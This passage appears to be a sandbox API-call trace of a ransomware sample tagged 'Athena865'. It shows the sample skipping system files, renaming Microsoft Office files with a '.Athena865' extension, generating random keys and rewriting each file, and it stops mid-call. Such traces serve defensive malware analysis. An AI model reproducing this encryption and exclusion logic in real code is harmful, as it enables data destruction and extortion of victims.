[0074.904] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0074.905] CloseHandle (hObject=0x17c) returned 1 [0074.905] CloseHandle (hObject=0x154) returned 1 [0074.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0074.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0074.905] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0074.905] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0139200, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x61e95fb0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0139200, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x63790, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.InfoPath.SemiTrust.dll", cAlternateFileName="MIE42F~1.DLL")) returned 1 [0074.905] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0074.905] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0074.905] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.dll", lpString2=".") returned 1 [0074.905] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.dll", lpString2="..") returned 1 [0074.905] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.dll", lpString2="windows") returned -1 [0074.905] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.dll", lpString2="bootmgr") returned 1 [0074.905] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.dll", lpString2="temp") returned -1 [0074.905] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.dll", lpString2="pagefile.sys") returned -1 [0074.905] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.dll", lpString2="boot") returned 1 [0074.905] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.dll", lpString2="ids.txt") returned 1 [0074.905] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.dll", lpString2="ntuser.dat") returned -1 [0074.905] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.dll", lpString2="perflogs") returned -1 [0074.906] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.dll", lpString2="MSBuild") returned -1 [0074.906] lstrlenW (lpString="Microsoft.Office.Interop.InfoPath.SemiTrust.dll") returned 47 [0074.906] lstrcpyW (in: lpString1=0x241e89e, lpString2="Microsoft.Office.Interop.InfoPath.SemiTrust.dll" | out: lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.dll") returned="Microsoft.Office.Interop.InfoPath.SemiTrust.dll" [0074.906] lstrlenW (lpString="Microsoft.Office.Interop.InfoPath.SemiTrust.dll") returned 47 [0074.906] lstrlenW (lpString="Athena865") returned 9 [0074.906] lstrcmpiW (lpString1="Trust.dll", lpString2="Athena865") returned 1 [0074.906] lstrlenW (lpString=".dll") returned 4 [0074.906] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.dll", lpString2=".dll") returned 1 [0074.906] lstrlenW (lpString=".lnk") returned 4 [0074.906] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.dll", lpString2=".lnk") returned 1 [0074.906] lstrlenW (lpString=".ini") returned 4 [0074.906] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.dll", lpString2=".ini") returned 1 [0074.906] lstrlenW (lpString=".sys") returned 4 [0074.906] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.dll", lpString2=".sys") returned 1 [0074.906] lstrlenW (lpString="Microsoft.Office.Interop.InfoPath.SemiTrust.dll") returned 47 [0074.906] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.SemiTrust.dll.Athena865") returned 100 [0074.906] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.SemiTrust.dll" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.semitrust.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.SemiTrust.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.semitrust.dll.athena865"), dwFlags=0x1) returned 1 [0074.907] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.SemiTrust.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.semitrust.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0074.907] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=407440) returned 1 [0074.907] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0074.907] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0074.908] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0074.908] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0074.908] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0074.908] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.908] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x63a90, lpName=0x0) returned 0x17c [0074.910] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x63a90) returned 0x2d50000 [0074.924] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0074.924] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0074.924] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.924] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0074.924] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0074.924] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0074.924] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0074.924] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.924] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0074.925] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0074.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0074.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.925] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0074.925] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0074.928] CloseHandle (hObject=0x17c) returned 1 [0074.928] CloseHandle (hObject=0x154) returned 1 [0074.928] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0074.929] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0074.929] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0074.932] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8d265900, ftCreationTime.dwHighDateTime=0x1ca5630, ftLastAccessTime.dwLowDateTime=0x542d90d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x8d265900, ftLastWriteTime.dwHighDateTime=0x1ca5630, nFileSizeHigh=0x0, nFileSizeLow=0xc5265, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.InfoPath.SemiTrust.xml", cAlternateFileName="MICROS~1.XML")) returned 1 [0074.932] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0074.932] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0074.932] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.xml", lpString2=".") returned 1 [0074.932] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.xml", lpString2="..") returned 1 [0074.932] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.xml", lpString2="windows") returned -1 [0074.932] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.xml", lpString2="bootmgr") returned 1 [0074.932] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.xml", lpString2="temp") returned -1 [0074.932] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.xml", lpString2="pagefile.sys") returned -1 [0074.933] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.xml", lpString2="boot") returned 1 [0074.933] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.xml", lpString2="ids.txt") returned 1 [0074.933] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.xml", lpString2="ntuser.dat") returned -1 [0074.933] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.xml", lpString2="perflogs") returned -1 [0074.933] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.xml", lpString2="MSBuild") returned -1 [0074.933] lstrlenW (lpString="Microsoft.Office.Interop.InfoPath.SemiTrust.xml") returned 47 [0074.933] lstrcpyW (in: lpString1=0x241e89e, lpString2="Microsoft.Office.Interop.InfoPath.SemiTrust.xml" | out: lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.xml") returned="Microsoft.Office.Interop.InfoPath.SemiTrust.xml" [0074.933] lstrlenW (lpString="Microsoft.Office.Interop.InfoPath.SemiTrust.xml") returned 47 [0074.933] lstrlenW (lpString="Athena865") returned 9 [0074.933] lstrcmpiW (lpString1="Trust.xml", lpString2="Athena865") returned 1 [0074.933] lstrlenW (lpString=".dll") returned 4 [0074.933] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.xml", lpString2=".dll") returned 1 [0074.933] lstrlenW (lpString=".lnk") returned 4 [0074.933] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.xml", lpString2=".lnk") returned 1 [0074.933] lstrlenW (lpString=".ini") returned 4 [0074.933] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.xml", lpString2=".ini") returned 1 [0074.933] lstrlenW (lpString=".sys") returned 4 [0074.933] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.SemiTrust.xml", lpString2=".sys") returned 1 [0074.933] lstrlenW (lpString="Microsoft.Office.Interop.InfoPath.SemiTrust.xml") returned 47 [0074.933] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.SemiTrust.xml.Athena865") returned 100 [0074.933] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.SemiTrust.xml" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.semitrust.xml"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.SemiTrust.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.semitrust.xml.athena865"), dwFlags=0x1) returned 1 [0074.934] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.SemiTrust.xml.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.semitrust.xml.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0074.934] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=807525) returned 1 [0074.934] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0074.935] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0074.935] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0074.935] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0074.935] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0074.935] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.936] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0xc5570, lpName=0x0) returned 0x17c [0074.937] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xc5570) returned 0x2d50000 [0074.978] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0074.979] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0074.979] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.979] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0074.979] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0074.979] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0074.979] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0074.979] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.979] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0074.979] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0074.979] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0074.979] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0074.979] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0074.979] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0074.986] CloseHandle (hObject=0x17c) returned 1 [0074.986] CloseHandle (hObject=0x154) returned 1 [0074.986] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0074.986] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0074.986] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0074.989] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd0139200, ftCreationTime.dwHighDateTime=0x1cacf2a, ftLastAccessTime.dwLowDateTime=0x561caed0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd0139200, ftLastWriteTime.dwHighDateTime=0x1cacf2a, nFileSizeHigh=0x0, nFileSizeLow=0x15780, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.InfoPath.Xml.dll", cAlternateFileName="MICROS~2.DLL")) returned 1 [0074.989] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.dll", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0074.989] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.dll", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0074.989] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.dll", lpString2=".") returned 1 [0074.989] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.dll", lpString2="..") returned 1 [0074.989] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.dll", lpString2="windows") returned -1 [0074.989] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.dll", lpString2="bootmgr") returned 1 [0074.990] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.dll", lpString2="temp") returned -1 [0074.990] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.dll", lpString2="pagefile.sys") returned -1 [0074.990] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.dll", lpString2="boot") returned 1 [0074.990] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.dll", lpString2="ids.txt") returned 1 [0074.990] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.dll", lpString2="ntuser.dat") returned -1 [0074.990] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.dll", lpString2="perflogs") returned -1 [0074.991] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.dll", lpString2="MSBuild") returned -1 [0074.991] lstrlenW (lpString="Microsoft.Office.Interop.InfoPath.Xml.dll") returned 41 [0074.991] lstrcpyW (in: lpString1=0x241e89e, lpString2="Microsoft.Office.Interop.InfoPath.Xml.dll" | out: lpString1="Microsoft.Office.Interop.InfoPath.Xml.dll") returned="Microsoft.Office.Interop.InfoPath.Xml.dll" [0074.991] lstrlenW (lpString="Microsoft.Office.Interop.InfoPath.Xml.dll") returned 41 [0074.991] lstrlenW (lpString="Athena865") returned 9 [0074.991] lstrcmpiW (lpString1="h.Xml.dll", lpString2="Athena865") returned 1 [0074.991] lstrlenW (lpString=".dll") returned 4 [0074.991] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.dll", lpString2=".dll") returned 1 [0074.991] lstrlenW (lpString=".lnk") returned 4 [0074.991] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.dll", lpString2=".lnk") returned 1 [0074.991] lstrlenW (lpString=".ini") returned 4 [0074.991] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.dll", lpString2=".ini") returned 1 [0074.991] lstrlenW (lpString=".sys") returned 4 [0074.991] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.dll", lpString2=".sys") returned 1 [0074.992] lstrlenW (lpString="Microsoft.Office.Interop.InfoPath.Xml.dll") returned 41 [0074.992] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.Xml.dll.Athena865") returned 94 [0074.992] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.Xml.dll" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.xml.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.Xml.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.xml.dll.athena865"), dwFlags=0x1) returned 1 [0074.993] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.Xml.dll.Athena865" (normalized: "c:\\program files\\microsoft office\\office14\\microsoft.office.interop.infopath.xml.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0074.993] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=87936) returned 1 [0074.993] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0074.993] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x5391d0 [0074.993] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519090 [0074.993] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519008) returned 1 [0074.994] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0074.994] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.994] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x15a80, lpName=0x0) returned 0x17c [0074.995] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x15a80) returned 0x100000 [0074.999] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519008) returned 1 [0074.999] CryptGenRandom (in: hProv=0x519008, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0074.999] CryptReleaseContext (hProv=0x519008, dwFlags=0x0) returned 1 [0074.999] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0074.999] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0075.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0075.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0075.000] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0075.000] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0075.000] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0075.000] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0075.000] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0075.000] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0075.001] CloseHandle (hObject=0x17c) returned 1 [0075.001] CloseHandle (hObject=0x154) returned 1 [0075.001] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x5391d0 | out: hHeap=0x4f0000) returned 1 [0075.001] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519090 | out: hHeap=0x4f0000) returned 1 [0075.001] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0075.002] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x62def200, ftCreationTime.dwHighDateTime=0x1c9bc30, ftLastAccessTime.dwLowDateTime=0x65d38290, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x62def200, ftLastWriteTime.dwHighDateTime=0x1c9bc30, nFileSizeHigh=0x0, nFileSizeLow=0x837d7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Microsoft.Office.Interop.InfoPath.Xml.xml", cAlternateFileName="MI4026~1.XML")) returned 1 [0075.002] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.xml", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0075.002] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.xml", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0075.002] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.xml", lpString2=".") returned 1 [0075.002] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.xml", lpString2="..") returned 1 [0075.002] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.xml", lpString2="windows") returned -1 [0075.002] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.xml", lpString2="bootmgr") returned 1 [0075.002] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.xml", lpString2="temp") returned -1 [0075.002] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.xml", lpString2="pagefile.sys") returned -1 [0075.002] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.xml", lpString2="boot") returned 1 [0075.002] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.xml", lpString2="ids.txt") returned 1 [0075.002] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.xml", lpString2="ntuser.dat") returned -1 [0075.002] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.xml", lpString2="perflogs") returned -1 [0075.002] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.xml", lpString2="MSBuild") returned -1 [0075.002] lstrlenW (lpString="Microsoft.Office.Interop.InfoPath.Xml.xml") returned 41 [0075.002] lstrcpyW (in: lpString1=0x241e89e, lpString2="Microsoft.Office.Interop.InfoPath.Xml.xml" | out: lpString1="Microsoft.Office.Interop.InfoPath.Xml.xml") returned="Microsoft.Office.Interop.InfoPath.Xml.xml" [0075.002] lstrlenW (lpString="Microsoft.Office.Interop.InfoPath.Xml.xml") returned 41 [0075.002] lstrlenW (lpString="Athena865") returned 9 [0075.002] lstrcmpiW (lpString1="h.Xml.xml", lpString2="Athena865") returned 1 [0075.002] lstrlenW (lpString=".dll") returned 4 [0075.002] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.xml", lpString2=".dll") returned 1 [0075.002] lstrlenW (lpString=".lnk") returned 4 [0075.002] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.xml", lpString2=".lnk") returned 1 [0075.002] lstrlenW (lpString=".ini") returned 4 [0075.002] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.xml", lpString2=".ini") returned 1 [0075.002] lstrlenW (lpString=".sys") returned 4 [0075.002] lstrcmpiW (lpString1="Microsoft.Office.Interop.InfoPath.Xml.xml", lpString2=".sys") returned 1 [0075.002] lstrlenW (lpString="Microsoft.Office.Interop.InfoPath.Xml.xml") returned 41 [0075.002] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.Xml.xml.Athena865") returned 94 [0075.003] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\Microsoft.Office.Interop.InfoPath.Xml.xml" (normalized: 